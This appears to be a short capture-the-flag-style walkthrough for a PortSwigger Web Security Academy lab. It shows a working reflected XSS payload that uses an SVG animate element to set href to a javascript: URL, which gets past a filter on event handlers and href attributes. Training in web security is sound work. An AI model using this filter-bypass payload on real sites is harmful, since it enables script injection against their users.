Reflected XSS event handlers href blocked
| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Difficulty | Practitioner |
| Vulnerability | Reflected XSS — SVG Animate href Bypass |
| Injection Point | search URL parameter |
| Goal | Execute alert(0) via SVG <animate> to bypass static href filtering |
Lab — Reflected XSS: SVG Animate href Bypass¶
Solution Walkthrough¶
The lab blocks all events (onclick, onmouseover, etc.) and href attributes on standard elements. Testing confirms <svg> passes the WAF.
The payload:
<svg><a><animate attributeName=href values=javascript:alert(0) /><text>Click me!</text></a></svg>
Clicking "Click me!" triggers alert(0) and the lab is solved :P